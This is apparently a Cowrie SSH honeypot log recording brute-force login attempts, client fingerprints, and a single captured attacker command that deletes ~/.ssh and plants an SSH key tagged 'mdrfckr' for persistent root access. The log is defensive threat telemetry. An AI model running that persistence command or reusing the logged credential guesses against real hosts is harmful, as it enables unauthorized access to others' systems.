{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.141433Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.347716Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.351779Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":46896,"dst_ip":"159.203.135.109","dst_port":22,"session":"856654e75a58","protocol":"ssh","message":"New connection: 92.99.195.230:46896 (159.203.135.109:22) [session: 856654e75a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.542315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.546624Z","src_ip":"92.99.195.230","session":"856654e75a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:22.743256Z","src_ip":"92.99.195.230","session":"856654e75a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:23.561545Z","src_ip":"92.99.195.230","session":"856654e75a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:24.760660Z","src_ip":"92.99.195.230","session":"856654e75a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":37490,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c0dce1773ee","protocol":"ssh","message":"New connection: 92.99.195.230:37490 (159.203.135.109:22) [session: 1c0dce1773ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:24.952622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:24.958082Z","src_ip":"92.99.195.230","session":"1c0dce1773ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:25.154763Z","src_ip":"92.99.195.230","session":"1c0dce1773ee","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:25.972521Z","src_ip":"92.99.195.230","session":"1c0dce1773ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:26.169679Z","src_ip":"92.99.195.230","session":"0279544a4d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:26.174590Z","src_ip":"92.99.195.230","session":"1c0dce1773ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42142,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6fd12792ed","protocol":"ssh","message":"New connection: 162.120.6.20:42142 (10.17.0.5:22) [session: aa6fd12792ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:46.623449Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:46.695174Z","src_ip":"162.120.6.20","session":"aa6fd12792ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":42154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d64dc0dc80","protocol":"ssh","message":"New connection: 162.120.6.20:42154 (10.17.0.5:22) [session: b2d64dc0dc80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:46.761811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:46.765990Z","src_ip":"162.120.6.20","session":"b2d64dc0dc80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:46.836063Z","src_ip":"162.120.6.20","session":"b2d64dc0dc80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Adm1nPassw0rd!2025","message":"login attempt [admin/Adm1nPassw0rd!2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:47.046556Z","src_ip":"162.120.6.20","session":"b2d64dc0dc80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:43:48.120482Z","src_ip":"162.120.6.20","session":"b2d64dc0dc80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":44006,"dst_ip":"159.203.135.109","dst_port":22,"session":"31355580a0e5","protocol":"ssh","message":"New connection: 2.57.122.96:44006 (159.203.135.109:22) [session: 31355580a0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:01.302020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:01.343790Z","src_ip":"2.57.122.96","session":"31355580a0e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:01.466208Z","src_ip":"2.57.122.96","session":"31355580a0e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigenlayer","password":"eigenlayer","message":"login attempt [eigenlayer/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:02.084559Z","src_ip":"2.57.122.96","session":"31355580a0e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:03.223200Z","src_ip":"2.57.122.96","session":"31355580a0e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37458,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb092e5ff0b","protocol":"ssh","message":"New connection: 193.32.162.145:37458 (159.203.135.109:22) [session: 8bb092e5ff0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:06.871322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:06.875891Z","src_ip":"193.32.162.145","session":"8bb092e5ff0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:06.995645Z","src_ip":"193.32.162.145","session":"8bb092e5ff0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:07.325720Z","src_ip":"193.32.162.145","session":"8bb092e5ff0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:08.438024Z","src_ip":"193.32.162.145","session":"8bb092e5ff0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":52634,"dst_ip":"159.203.135.109","dst_port":22,"session":"904830d6e340","protocol":"ssh","message":"New connection: 27.111.32.174:52634 (159.203.135.109:22) [session: 904830d6e340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:23.890119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:23.894369Z","src_ip":"27.111.32.174","session":"904830d6e340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:24.143074Z","src_ip":"27.111.32.174","session":"904830d6e340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"excel","password":"Excel123!","message":"login attempt [excel/Excel123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:25.171232Z","src_ip":"27.111.32.174","session":"904830d6e340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:26.423771Z","src_ip":"27.111.32.174","session":"904830d6e340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51228,"dst_ip":"159.203.135.109","dst_port":22,"session":"63845c9b3689","protocol":"ssh","message":"New connection: 195.178.110.218:51228 (159.203.135.109:22) [session: 63845c9b3689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:27.418039Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:27.495127Z","src_ip":"195.178.110.218","session":"63845c9b3689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":47484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc2a0c2abdd","protocol":"ssh","message":"New connection: 92.99.195.230:47484 (159.203.135.109:22) [session: 1fc2a0c2abdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:33.037856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:33.042829Z","src_ip":"92.99.195.230","session":"1fc2a0c2abdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:33.248679Z","src_ip":"92.99.195.230","session":"1fc2a0c2abdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonarqube","password":"Sonarqube123!","message":"login attempt [sonarqube/Sonarqube123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:34.105910Z","src_ip":"92.99.195.230","session":"1fc2a0c2abdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:45:35.314992Z","src_ip":"92.99.195.230","session":"1fc2a0c2abdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56730,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d080e4989c","protocol":"ssh","message":"New connection: 193.32.162.145:56730 (159.203.135.109:22) [session: b2d080e4989c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:47:19.367424Z"}
